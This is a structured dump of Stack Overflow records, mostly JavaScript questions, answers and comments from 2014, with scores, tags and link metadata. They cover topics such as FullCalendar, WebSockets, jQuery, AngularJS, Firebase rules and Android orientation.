type: Comment
comment on: http://stackoverflow.com/a/25759765
score: 0

http://stackoverflow.com/a/25811906
answers question: http://stackoverflow.com/q/25807222
has body: FullCalendar (I think from 2.0) uses momentjs library to deal with dates date must be calculated previously, before passing to fullcalendar: var date = $.fullCalendar.moment('2014-05-01'); Detailed instructions: Goto http://fullcalendar.io/js/fullcalendar-2.1.1/demos/basic-views.html Open console and put these lines, line by line (I think this is the issue): var date = $.fullCalendar.moment('2014-05-01'); $('#calendar').fullCalendar('changeView', 'agendaDay'); $('#calendar').fullCalendar('gotoDate',date); You got this result (image) The reason that cascade: $('#calendar').fullCalendar('changeView', 'agendaDay').fullCalendar('gotoDate',date); does not work is that returning valur from changeView is not return any object
downvote count: 0
type: Answer
upvote count: 3
score: 3

http://stackoverflow.com/comment/40478595
type: Comment
type: QuestionComment
has text: The problem isn't JSON. JSON has no problem with arrays with only one entry. The problem is in whatever code is *producing* the JSON; apparently, it's not producing an array when there's only one object.
score: 1
comment on: http://stackoverflow.com/q/25867842

http://stackoverflow.com/a/35902313
upvote count: 14
has comment: http://stackoverflow.com/comment/62162923
answers question: http://stackoverflow.com/q/25779831
has body: Looking at the HTML5 WebSockets spec, you can pass a value into the close() method. Then on the onclose() event listener you can check against that value. This gives you the opportunity to set handlers for different disconnect scenarios and then handle everything else as a generic error. https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#close() var _websocket; function wsConnect() { if (_websocket) { _websocket.close(3001); } else { _websocket = new WebSocket("wss://echo.websocket.org1"); _websocket.onopen = function() { console.log('connected'); }; _websocket.onmessage = function(msg) { console.log(msg); }; _websocket.onclose = function(evt) { if (evt.code == 3001) { console.log('ws closed'); _websocket = null; } else { _websocket = null; console.log('ws connection error'); } }; _websocket.onerror = function(evt) { if (_websocket.readyState == 1) { console.log('ws normal error: ' + evt.type); } }; } } wsConnect(); sweet fiddle: https://jsfiddle.net/lamarant/ry0ty52n/
type: Answer
score: 13
downvote count: 1

http://stackoverflow.com/q/25716682
possible better answer: http://stackoverflow.com/a/25721312
accepted answer: http://stackoverflow.com/a/25720264
has comment: http://stackoverflow.com/comment/40206278
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40201861
tagged with: ajax
has comment: http://stackoverflow.com/comment/40201848
score: 0
has comment: http://stackoverflow.com/comment/40202186
answer count: 2
has comment: http://stackoverflow.com/comment/40202176
has comment: http://stackoverflow.com/comment/40202172
tagged with: google-chrome-extension
linked to: http://stackoverflow.com/q/2844565
has comment: http://stackoverflow.com/comment/40207520
has comment: http://stackoverflow.com/comment/40202639
has answer: http://stackoverflow.com/a/25720264
has body: I want to develop a Chrome extension, just imagine when Facebook loads you are allowed to add extra JS on it. But my problem is I can't modify the DOM of the later content, which means the newly loaded content that appear when the user scrolled down. So I want to detect XHR using JavaScript. I tried send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function() { /* Wrap onreadystaechange callback */ var callback = this.onreadystatechange; this.onreadystatechange = function() { if (this.readyState == 4) { /* We are in response; do something, like logging or anything you want */ alert('test'); } callback.apply(this, arguments); } _send.apply(this, arguments); } But this is not working.. any ideas?
linked to: http://stackoverflow.com/q/9515704
has comment: http://stackoverflow.com/comment/40202214
has comment: http://stackoverflow.com/comment/40201876
has answer: http://stackoverflow.com/a/25721312
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40201816
has comment: http://stackoverflow.com/comment/40202201
has title: detect XHR on a page using javascript

http://stackoverflow.com/a/25741307
has body: Go back to the grammar and the regex will follow. list := part ( ',' part)* part := ipv4 | ipv6 | hostname Now translate that "ABNF-like" grammar to Java: private static String IPV4 = "…"; private static String IPV6 = "…"; private static String HOSTNAME = "…"; private static String PART = "(?:" + IPV4 + "|" + IPV6 + "|" + HOSTNAME + ")"; private static String LIST = "^" + PART + "(?:," + PART + ")*$"; Note: you should apply the same reasoning to your matching of IPv4, IPv6 and host names.
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25733600
has comment: http://stackoverflow.com/comment/40249834
upvote count: 2
type: Answer

http://stackoverflow.com/a/25732853
downvote count: 0
answers question: http://stackoverflow.com/q/25732813
upvote count: 2
has comment: http://stackoverflow.com/comment/40232233
type: Answer
score: 2
has body: The checkPermissions function should look like this: function checkPermissions(req, res, next) { // logic to check whether user has permissions or not. // example: if (req.user.permissions == 'admin') { next(); } else { // redirect if user doesn't have permission. res.redirect('/no-permissions'); } } If you really want to make it fit in 1 line (dependent on lodash or underscore): _.(['/public*', '/web*']).each(function(route) { app.get(route, checkPermissions, function(req, res, next) { next(); }); });
has comment: http://stackoverflow.com/comment/40232168
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40232286
accepted answer of: http://stackoverflow.com/q/25732813

http://stackoverflow.com/q/25771756
has title: Iterating jquery objects
has answer: http://stackoverflow.com/a/25771831
answer count: 4
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40303392
downvote count: 1
tagged with: each
type: Question
has answer: http://stackoverflow.com/a/25771829
has comment: http://stackoverflow.com/comment/40303531
has answer: http://stackoverflow.com/a/25771851
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40303391
has body: I am attempting to iterate and output the values of the choices property using jquery each(). My code seems to output the array index and not the string values. why is this? Here is my jsfiddle var allQuestions = [ { question: "Who is Prime Minister of the United Kingdom?", choices: ["David Cameron", "Gordon Brown", "Winston Churchill", "Tony Blair"], correctAnswer:0 }]; $(info[0].choices).each(function(value){ $('#answers').append($('&lt;li&gt;').text(value)); });
upvote count: 0
has answer: http://stackoverflow.com/a/25771833
tagged with: jquery
favorite count: 0

http://stackoverflow.com/comment/40400739
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25824961
score: 0
has text: @Pointy the real project is about a watch-like SVG graphics that ticks at a user-input interval. I over-simplified the whole thing here just to make a quick example. As i only know baisc JS, but I know better VB.net, I would write the project using native VB.net code in a ASP.net solution.

http://stackoverflow.com/a/25752587
upvote count: 1
type: AcceptedAnswer
has body: You dont need to iterate then: $.getJSON("json.json", function(person){ document.write("name3=" person.name3); }); I'd probably stray away from document.write and append to a container. &lt;div id="test"&gt;&lt;/div&gt; $.getJSON("json.json", function(person) { $("#test").append("&lt;span&gt; name3= " + person.name3 + &lt;/span&gt;"); });
answers question: http://stackoverflow.com/q/25752552
type: Answer
accepted answer of: http://stackoverflow.com/q/25752552
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40278941
has comment: http://stackoverflow.com/comment/40292358

http://stackoverflow.com/comment/40292288
type: Comment
comment on: http://stackoverflow.com/a/25765675
type: AnswerComment
has text: Because it's not a valid code. ) The point is, any string literal might have `\"` or `\'` sequences within (check the first one in the demo).
score: 0

http://stackoverflow.com/q/25813996
has body: I need help ... I have an autocomplete plugin that installed on my site and it works perfect...My need for autocomplete was bacause i have posts to which i want to redirect when clicked on autocompleted list item . for example : i have one search form and when typed and autococompleted some post name then it redirects me to post like example.com/post/namePost .Now i cloned that website and my new website is example1.com ... now autocompleter in new site redirects me on autocomplete to example1.com/post/namePost . My problem is , that i need that autocompleter on new site,redirects me to old website link - in this case www.example.com/post/postName. Note that after www.example.com both url data is same Here is my autocomplete.js code : /* original jQuery plugin by http://www.pengoworks.com/workshop/jquery/autocomplete.htm just replaced $ with jQuery in order to be complaint with other JavaScript libraries. */ jQuery.autocomplete = function(input, options) { // Create a link to self var me = this; var link="http://telecoms-group.com/"; // Create jQuery object for input element var $input = jQuery(input).attr("autocomplete", "off"); // Apply inputClass if necessary if (options.inputClass) $input.addClass(options.inputClass); // Create results var results = document.createElement("div"); // Create jQuery object for results var $results = jQuery(results); $results.hide().addClass(options.resultsClass).css("position", "absolute"); if( options.width &gt; 0 ) $results.css("width", options.width); // Add to body element jQuery("body").append(results); input.autocompleter = me; var timeout = null; var prev = ""; var active = -1; var cache = {}; var keyb = false; var hasFocus = false; var lastKeyPressCode = null; // flush cache function flushCache(){ cache = {}; cache.data = {}; cache.length = 0; }; // flush cache flushCache(); // if there is a data array supplied if( options.data != null ){ var sFirstChar = "", stMatchSets = {}, row = []; // no url was specified, we need to a…
type: UnansweredQuestion
upvote count: 1
answer count: 0
score: 1
tagged with: wordpress
type: Question
tagged with: autocomplete
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40382298
has title: Autocompleter Javascript-for Wordpress site
favorite count: 0

http://stackoverflow.com/comment/40239948
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25736767
type: AnswerComment
has text: yes, I did notice that mistake after you pointed it out thank you. But it's still not any different.. I've had it written around three different ways now that seemed like they should work, but nothing is seeming to fix my problem.

http://stackoverflow.com/comment/40633287
score: 0
type: AnswerComment
type: Comment
has text: Thanks a lot for the links , now i know what is these and what they do in my script :d thank you once again
comment on: http://stackoverflow.com/a/25832158

http://stackoverflow.com/comment/40290777
has text: I tried but only the second stroke is visible. Can you update my fiddle?
type: QuestionComment
comment on: http://stackoverflow.com/q/25763948
score: 0
type: Comment

http://stackoverflow.com/a/25792116
type: AcceptedAnswer
has body: You can show/hide your divName element, where showDiv is a boolean value (true/false): function valMessage(divName, content, showDiv) { document.getElementById(divName).style.visibility = showDiv ? "visible" : "hidden"; document.getElementById(divName).innerHTML = content; }
type: Answer
accepted answer of: http://stackoverflow.com/q/25791134
answers question: http://stackoverflow.com/q/25791134
score: 0

http://stackoverflow.com/comment/40442964
comment on: http://stackoverflow.com/a/25847739
type: AnswerComment
has text: I used a epoch time converter tool on the web, which treated the number as seconds instead.
score: 0
type: Comment

http://stackoverflow.com/q/25779519
duplicate of: http://stackoverflow.com/q/18787602
type: UnansweredQuestion
has title: What <!--[if IE 6]> <![endif]--> does in ASP.Net's asp file?
type: Question
has answer: http://stackoverflow.com/a/25779536
tagged with: asp-classic
tagged with: javascript
linked to: http://stackoverflow.com/q/18787602
score: 0
has body: I saw a piece of code like this: &lt;!--[if IE 6]&gt; &lt;script type="text/javascript"&gt; function pageLoad() { //$find('mpeIeWarning').show(); document.getElementById('divIE6').style.display = ""; } &lt;/script&gt; &lt;![endif]--&gt; Is &lt;!--[if IE 6]&gt; &lt;![endif]--&gt; a comment tag? or doing something special, to be honest, I never used this thing.
tagged with: http://stackoverflow.com/tag/html
answer count: 1

http://stackoverflow.com/comment/40426285
type: Comment
comment on: http://stackoverflow.com/a/25830368
score: 0
type: AnswerComment
has text: Double check the `onclick` attributes on the buttons, and check the JavaScript functions in my example. Below the `game` object code there are a couple of functions.

http://stackoverflow.com/a/25828516
accepted answer of: http://stackoverflow.com/q/25828339
type: AcceptedAnswer
type: Answer
has body: That's because the $http service calls are asynchronous. The easiest way to handle this is to make your service return a promise: return $http.get(this.host + http_url); (return in front of $http is crucial here). Then anywhere in the code: config.checkConnection().then(function(response) { // there you get the response.data.ping }); See your modified and simplified code here: http://plnkr.co/edit/cCHXCLCG3xJUwAPPlJ3x?p=preview You can read more about that: http://chariotsolutions.com/blog/post/angularjs-corner-using-promises-q-handle-asynchronous-calls/ http://lennybacon.com/post/2014/03/21/chaining-asynchronous-javascript-calls-with-angular-js https://docs.angularjs.org/api/ng/service/$q
answers question: http://stackoverflow.com/q/25828339
score: 0

http://stackoverflow.com/q/25858744
score: 1
upvote count: 1
type: Question
tagged with: jquery-ui
has answer: http://stackoverflow.com/a/25858817
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25858817
answer count: 2
possible better answer: http://stackoverflow.com/a/25858829
has answer: http://stackoverflow.com/a/25858829
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: drag-and-drop
has title: jQuery UI not detecting drop on first child of droppable
has body: I have a droppable div that contains child elements that are not droppable. For some reason, if you drop on the first child element, the drop event is not triggered, but it is on the second child element. Here's a JSFiddle example: http://jsfiddle.net/bppn33q3/1/ Why is this? And how can I fix it? EDIT: Wrong fiddle
type: AnsweredQuestion

http://stackoverflow.com/comment/40476356
has text: I did the same for `prev` `$(this).parents('article').hide().prev().show();` and its not working anymore. Could you assist me.
score: 0
comment on: http://stackoverflow.com/a/25866422
type: Comment
type: AnswerComment

http://stackoverflow.com/q/25834502
score: 2
has answer: http://stackoverflow.com/a/25834606
has body: Here is my code: setTimeout(expireAndRedirect(), 200000) It should call the function expireAndRedirect after 200 seconds. It works only if it's on the same page on which the above function has been written. But I want it to work on application label. Is there any way in JavaScript to run a thread after 200 seconds irrespective of on which page you are?
type: Question
upvote count: 2
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: Delete all cookie and redirect to a html page after certain time interval
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25834665
has comment: http://stackoverflow.com/comment/40418041
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40418040

http://stackoverflow.com/q/25815712
tagged with: javascript
has answer: http://stackoverflow.com/a/25815831
has body: Found this code while struggling with $http and $interval. http://embed.plnkr.co/fSIm8B/script.js Forked it to: http://plnkr.co/edit/Al8veEgvESYA0rhKLn1q To make it useful, how do I pass a variable to the service? Broken code to show intent: var myAppModule = angular.module("myApp", ['ngMockE2E']); myAppModule.controller('MyController', function($scope, pollingService) { var stopNow = 5; var id = 1001; pollingService(stopNow, id).then( function(value) { //fully resolved (successCallback) $scope.data = value; console.log('Success Called!'); }, function(reason) { //error (errorCallback) console.log('Error:' + reason); }, function(value) { //notify (notifyCallback) $scope.data = value; console.log('Notify Calls:' + value.count); } ); }); myAppModule.factory("pollingService", function ($http, $interval, $q, $httpBackend) { var data = { resp: {}, status: 'Initialized', count: 0}; var deferred = $q.defer(); $httpBackend.whenGET("data.json").respond({type:'mock'}); //just loop 10 times for an example var completed = $interval(function(ip) { data.status = 'Running'; **//How can I Change the $http URL by passing a variable in?** $http.get('/getId/' + id).then(function(r) { data.resp = r.data.type; data.count++; **//Instead of 5 I want to pass this in as an variable** if (data.count==stopNow) { $interval.cancel(completed); } console.log('Http\'s:' + data.count); deferred.notify(data); }); }, 500, 10); completed.then(function(){ data.status = 'Completed!'; deferred.resolve(data); }); return deferred.promise; });
tagged with: ajax
score: 0
answer count: 1
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25815831
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
type: Question
has title: AngularJS pass a variable into service that use $http + $interval

http://stackoverflow.com/q/25803500
has answer: http://stackoverflow.com/a/25803582
favorite count: 0
tagged with: ajax
tagged with: twitter-bootstrap
tagged with: css
accepted answer: http://stackoverflow.com/a/25803663
type: AnsweredQuestion
has title: How to change bootstrap button style by use jQuery
has answer: http://stackoverflow.com/a/25803656
upvote count: 1
linked to: http://stackoverflow.com/q/3452778
downvote count: 1
type: Question
duplicate of: http://stackoverflow.com/q/3452778
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25803663
answer count: 3
has body: &lt;a class="btn btn-small btn-block btn-warning" type="button" id="999"&gt;&amp;nbsp;&lt;/a&gt; Button styled http://getbootstrap.com/2.3.2/base-css.html#buttons I want to change the style such as "btn-danger" or "btn-info" by use jQuery...I think need to remove style and add new... How to do it. Thx.
possible better answer: http://stackoverflow.com/a/25803582

http://stackoverflow.com/comment/40316107
has text: i can't replace the page content
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25778453

http://stackoverflow.com/a/25772729
downvote count: 0
has comment: http://stackoverflow.com/comment/40305348
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25772610
answers question: http://stackoverflow.com/q/25772610
has body: You should use CSS classes : .selected { border: 5px solid gray;} $('.imgList').on('click','img', function() { $(this).parents('.imgList').find('.selected').removeClass('selected').end().end().addClass('selected'); });
type: Answer
score: 2

http://stackoverflow.com/comment/40362761
type: AnswerComment
score: 0
type: Comment
has text: Thank you for the suggestion, unfortunately the unlockScroll() function is not doing its job :( I shall make a jsFiddle.
comment on: http://stackoverflow.com/a/25803819

http://stackoverflow.com/comment/40231159
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25732295
has text: @AkramKamalQassas Or different browsers. If it *has* to be one session, the only way is server-side. I'd just tend to avoid it, but you can use the technique as long as there's a way to communicate between browsers.
type: AnswerComment

http://stackoverflow.com/a/25828710
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/40407640
has body: You're doing it wrong, you could instead use this approach: $("#ter").click(function(){ $(this).text(function (i, t) { return t === 'Bar' ? 'column':'Bar'; }); }); The reason it didn't work is because: You were trying to assign a result to $(this).text() (using =) instead of comparing (== or ===), and Not returning anything to update the text It's important to note that with jQuery the text() method (and most others) when called with no arguments is a getter (it gets the current value), but to use it as a setter you have to pass an argument, either directly ($(this).text('foo')) or using the anonymous function ($(this).text(function(){ return 'foo'; })). Calling the getter, and comparing that retrieved value (or trying to assign to it) does not act as a setter. In the anonymous functions available to jQuery methods, the first argument (here called i, but the name is irrelevant, it's always the first argument) is the index of the current '$(this)' object in the collection returned by jQuery, the second argument (here called t, but again the name is irrelevant) represents the current (pre-manipulation) value found by the method. References: text().
upvote count: 3
answers question: http://stackoverflow.com/q/25828654
type: Answer

http://stackoverflow.com/comment/40434327
score: 0
type: AnswerComment
type: Comment
has text: Thanks for input - how would you convert into a string with Objectmapper?
comment on: http://stackoverflow.com/a/25842721

http://stackoverflow.com/q/25868859
has title: Clear rows in knockout.js Cart Editor example
tagged with: knockout.js
type: Question
tagged with: cart
tagged with: javascript
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25869061
accepted answer: http://stackoverflow.com/a/25869061
has body: I am trying the knockout js example of cart editor given here I want to delete all the rows added by the user as soon as the java script alert comes. I thought setting the cartLine array to nothing would do the job but it didn't work. I tried this: self.save = function() { cartLine([]) var dataToSave = $.map(self.lines(), function(line) { return line.product() ? { productName: line.product().name, quantity: line.quantity() } : undefined }); alert("THANK YOU FOR YOUR ORDER!"); }; But it didn't help. Please correct me if I am wrong. Thanks. Update: self.save = function() { var dataToSave = $.map(self.lines(), function(line) { return line.product() ? { productName: line.product().name, quantity: line.quantity() } : undefined }); self.lines([]); self.addLine = function() { self.lines.push(new CartLine()) }; alert("THANK YOU FOR YOUR ORDER!"); self.addLine = function() { self.lines.push(new CartLine()) }; //didn't work };
type: AnsweredQuestion

http://stackoverflow.com/comment/40482538
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25865110
has text: I don't see how 443 or 444 is better than the other. Anyways. I have kind of simplified the problem. Since you were the only one to come up with a working answer, I'd like to ask you, David, to try and solve the newer version of the problem. I think it won't take that long for you. Thanks
score: 0

http://stackoverflow.com/comment/41203256
type: Comment
comment on: http://stackoverflow.com/a/26263657
type: AnswerComment
has text: Hi this is what i tried originally, and it actually fails, it seems the validation submit gets priority...
score: 0

http://stackoverflow.com/comment/40463585
type: QuestionComment
has text: By the way, I'd be extremely careful about trying to bit-fiddle javascript numbers. I don't think all versions of ECMA JavaScript make guarantees about the particulars of the floating point system, so you may be writing supremely flaky/non-portable code...
comment on: http://stackoverflow.com/q/25859124
score: 0
type: Comment

http://stackoverflow.com/q/25789014
has answer: http://stackoverflow.com/a/25791601
tagged with: vim
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25794889
tagged with: replace
type: Question
has comment: http://stackoverflow.com/comment/40334654
has answer: http://stackoverflow.com/a/25789518
tagged with: javascript
has title: Javascript function expression reformatting with vim replace
score: 0
possible better answer: http://stackoverflow.com/a/25789387
has comment: http://stackoverflow.com/comment/40334729
has answer: http://stackoverflow.com/a/25789387
has answer: http://stackoverflow.com/a/25794889
has body: Here is the reformatting I want to do : // before var name1 = function(){ /* stuff */ } //after function name1(){ /* stuff */ } I used a vim replace command : %s/var\.*\s*\(\w*\)\s*=\s*function/function \1 But I found it a little long for the task (matching a var, a word, a = and a function) ... How would you do it a nicer way ?
answer count: 4

http://stackoverflow.com/comment/40354224
type: AnswerComment
type: Comment
has text: For my above code to work, you need to have the following line of JS: `var json = '{ "nds": { "1": 1 }, "eds": [], "an": { "1": [ 45.4423073, -75.7979993 ] } }';`. Depending on your set up, this should be pretty easy. But we can't do any JS parsing until the string is a JS variable.
score: 0
comment on: http://stackoverflow.com/a/25799207

http://stackoverflow.com/q/25714358
answer count: 4
has body: I wanted to change this inline javascript at the bottom of my html to a external.js file. It alter the image size depending if the mouse is on it or not. I wanted to know if I had to change change the below code or if I were calling the css elements wrong. &lt;SCRIPT LANGUAGE="JavaScript"&gt; $('img').hover(function(){ $(this).css({width:"100%",height:"100%"}); },function(){ $(this).css({width:"50%",height:"50%"}); }); &lt;/SCRIPT&gt; I want to thank everyone who down voted my question; as I beginner when I asked this question (still am), you made me feel warm and comfortable here and gave me lost of confidence.
has answer: http://stackoverflow.com/a/25714869
has comment: http://stackoverflow.com/comment/40197277
type: AnsweredQuestion
has title: change inline JS to external
tagged with: javascript
has answer: http://stackoverflow.com/a/25714384
accepted answer: http://stackoverflow.com/a/25714384
type: Question
score: 0
has answer: http://stackoverflow.com/a/25714383
tagged with: jquery
linked to: http://stackoverflow.com/q/138884
favorite count: 0
possible better answer: http://stackoverflow.com/a/25714383
upvote count: 3
downvote count: 3
has answer: http://stackoverflow.com/a/25714392
tagged with: css

http://stackoverflow.com/q/25726959
score: 0
answer count: 2
has body: I have a table with few open text boxes. One of the boxes will have auto filled as 100 and I have made that readonly. I want if respondent enters 100 in any other box I give an alert and clear the value. This is working for me. However I want to use this alert function only for text boxes which is NOT auto filled and readonly. Not sure if I am using :not operator correct or not. Rest script is working. Below is my script. $(document).ready(function(){ $('tr td').each(function(){ if($(this).children('input').val()=='100') $(this).children('input').prop('readOnly',true); }); $('input:text:not(readonly)').on('keyup',function(){ if($(this).val()=='100') { alert("Please provide answer between 0-99."); $(this).val(""); } }); });
has answer: http://stackoverflow.com/a/25727006
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25727037
has title: Not operator for using keyup operator
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25727037
possible better answer: http://stackoverflow.com/a/25727006

http://stackoverflow.com/q/25728273
type: Question
tagged with: javascript
tagged with: jquery
answer count: 3
has body: I have a div called "navbar_menu". When clicked I want the div "nav_overlay" to fade in and then when clicked again, I want it to fade back to not being visible. At the moment I have set the div 'nav_overlay" to 'display: none' and then using the following javascript, it shows itself when "navbar_menu" is clicked. $(document).ready(function(){ $(".navbar_menu").click(function(){ $("nav ul").toggleClass("showing"); $("#nav_overlay").fadeTo("fast", 0.8); }); }); The tag "nav ul" is just a menu that is sliding when "navbar_menu" is clicked. The point is to have an overlay covering the content when the menu slides out and then when the menu slides in again, the overlay disappears. I'm thinking that I need an if statement testing whether the div is visible or not? I'm just wonering if there is anyone who can help with the best solution for this. Thanks very much.
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has title: Using Javascript to toggle an overlay on and off
has answer: http://stackoverflow.com/a/25728427
has answer: http://stackoverflow.com/a/25728537
favorite count: 0
upvote count: 0
tagged with: css
has comment: http://stackoverflow.com/comment/40224126
has comment: http://stackoverflow.com/comment/40223285
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25728606
accepted answer: http://stackoverflow.com/a/25728606
score: -1
possible better answer: http://stackoverflow.com/a/25728427

http://stackoverflow.com/comment/40436086
has text: The comment implies the two decimal places are required, but your regex says 0 to 2 decimal places. Can you confirm which is correct?
comment on: http://stackoverflow.com/q/25843977
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25744061
tagged with: angularjs
tagged with: twitter-bootstrap
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40253026
has title: make bootstrap menu or sub-menu visible in left side if it's going beyond browser edge
type: Question
upvote count: 4
has body: Check my FIDDLE, as you can see there are some dropdown menus,please resize the browser in a way that 'Dropdown' menu will come to right side. Then go to '2nd level menu' as you can see submenu are opening in right side, hence they are not visible fully. Although we have space in left-side, is there any way we can make sub-menu visible on left if it's going beyond screen. How it's looking: So this is what I want to achieve: How to detect particular menus is going outside the browser edge?? After detection How to make it reverse aligned, so that user can see it. How it should behave, if there is not enough space in right-side to open submenu, menus will be shown in left-side: HTML Regular link Menu Menu Menu Dropdown 2-level Menu I can be in left side Why i am coming on right side I want to come in Left side Enough space in left I will not be visible as i am long Another action Something else here Separated link
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40252970
has answer: http://stackoverflow.com/a/25744360
has comment: http://stackoverflow.com/comment/40319247
tagged with: http://stackoverflow.com/tag/html
score: 4

http://stackoverflow.com/a/25851146
has comment: http://stackoverflow.com/comment/40448733
has comment: http://stackoverflow.com/comment/40449217
score: 0
answers question: http://stackoverflow.com/q/25851050
type: Answer
has comment: http://stackoverflow.com/comment/40448674
has comment: http://stackoverflow.com/comment/40449102
has comment: http://stackoverflow.com/comment/40449269
has body: You can set the orientation of one Activity programmatically by calling setRequestedOrientation() before calling setContentView() in onCreate() like this: @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); ... } You can also specify the orientation for one Activity in your manifest by adding this: android:screenOrientation="portrait" Like this: &lt;activity android:name="com.example.ui.MainActivity" android:screenOrientation="portrait" /&gt;
has comment: http://stackoverflow.com/comment/40448979

http://stackoverflow.com/a/25736767
type: Answer
answers question: http://stackoverflow.com/q/25736733
has body: remove quote(") from el, el is DOM node object (p) so you need as pass variable value not a sting change document.body.appendChild('el'); to document.body.appendChild(el);
score: 0
has comment: http://stackoverflow.com/comment/40239948

http://stackoverflow.com/q/25801067
has comment: http://stackoverflow.com/comment/40358377
has comment: http://stackoverflow.com/comment/40365559
possible better answer: http://stackoverflow.com/a/25804622
has answer: http://stackoverflow.com/a/25804622
has title: Add dynamic model to newly created elements via directives in angularjs
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25805908
has body: Following is my PLNKR CODE which is working fine. Problem - I need to add dynamic scope to these element so that I can grab the contact number + type. I google the problem before asking but as I am new to directives in angular I am confused with the results, let me know what else I need to add to grab the result. Following kind of result I am expecting - contact: [ {number: 56432452, type: "Cell"}, {number: 67895644, type: "Work"}, {number: 78943245, type: "Cell"}, {number: 66793456, type: "Home"}, {number: 90546675, type: "Fax"}, ]; Also, I need to use the same form in EDIT mode, let me know what are the extra things that I need to keep in mind while developing this functionality for the edit case. Following is my directive code - Contact Number* Cell Work Home Fax As you can see currently the select and input do not contain and ngModel. Let me know how do I introduce this to obtain the above mentioned result.
upvote count: 1
has comment: http://stackoverflow.com/comment/40358449
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40358180
has comment: http://stackoverflow.com/comment/40358598
score: 1
type: Question
tagged with: angularjs-directive
accepted answer: http://stackoverflow.com/a/25805908
answer count: 2
has comment: http://stackoverflow.com/comment/40358304
has comment: http://stackoverflow.com/comment/40358522
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40358550
linked to: http://stackoverflow.com/q/14994391

http://stackoverflow.com/q/25844438
type: Question
has title: Have custom data with the Facebook Share dialog
has body: With Facebook Open Graph v2.0 the Feed Dialog became deprecated. I always used the feed dialog when dynamic meta data was needed to be shared. For example, with a function like: "Share your score on Facebook" - before v2.0 this could be used: var myScore = 20; FB.ui({ method: 'feed', name: 'My score was: ' + myScore + ' in AppName' , link: 'https://appname.com', }, function(response){}); Facebook says use the Share dialog instead as of v2.0. On web, developers are encouraged to use the more modern Share Dialog, which can perform all of the same functions as these older dialogs, but can additionally publish custom Open Graph stories without requiring Facebook Login. But does it really have the same functionality? It seems I cannot add custom parameters, this makes it harder to share dynamic meta data than before. The share dialogs documentation: https://developers.facebook.com/docs/sharing/reference/share-dialog So I cannot add parameters to make the share dialog more dynamic, the share dialog seems a better fit to just share the app than sharing a users score. Is there a solution to this? Or do I need to make the Facebook open graph meta tags more dynamic to achieve the same result?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40445732
score: 0
tagged with: facebook-graph-api
tagged with: facebook-opengraph
answer count: 0
type: UnansweredQuestion
tagged with: facebook
has comment: http://stackoverflow.com/comment/40437317
has comment: http://stackoverflow.com/comment/40472494
has comment: http://stackoverflow.com/comment/40437203

http://stackoverflow.com/a/25812827
type: Answer
has body: Figured it out, looks like the security rules where messing with how I was accessing objects in Firebase. Modified my security rules to look like this instead: { "rules": { "sites": { "$siteName": { "pages": { "$pageId": { "users": { ".read": "auth.firebase_user === true", ".write": "auth.firebase_user === true", "$arrayId": { ".validate": "newData.hasChildren(['id', 'displayName']) &amp;&amp; newData.child('id').val() === auth.id" } } } } } } } } Now firebase users can read and write, but anything they write must match the validation rules.
answers question: http://stackoverflow.com/q/25812624
score: 0

http://stackoverflow.com/comment/40267202
has text: you need to make it clearer how far back you want to go from a match.
score: 0
comment on: http://stackoverflow.com/q/25751133
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25805692
upvote count: 1
tagged with: php
has comment: http://stackoverflow.com/comment/40365459
type: AnsweredQuestion
has title: Back Button with keeping form value
score: 1
tagged with: forms
has comment: http://stackoverflow.com/comment/40365637
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40365265
has comment: http://stackoverflow.com/comment/40365757
accepted answer: http://stackoverflow.com/a/25806101
has body: Here is how the back button : Back (this button is called outside the form, otherwise it doesn't work, I don't know why ...) The Situation I have 4 pages like this : Page 1 : Form for information level 1 Page 2 : Form for information level 2 Page 3 : Summary of the 2 precedent Form Page 4 : Form post succes page I have put the BACK button on page 2 and 3. For the Page 2, it works perfectly. When I click on, I get all my previous value back. My problem It comes from the BACK button of the Page 3. All my form values are gone ... Soo, I know I can do it by including the BACK button in the form and then POST again all my value to the previous page but I was wondering if there isn't an "easy and quicker" way to do that ? Thanks.
has comment: http://stackoverflow.com/comment/40365686
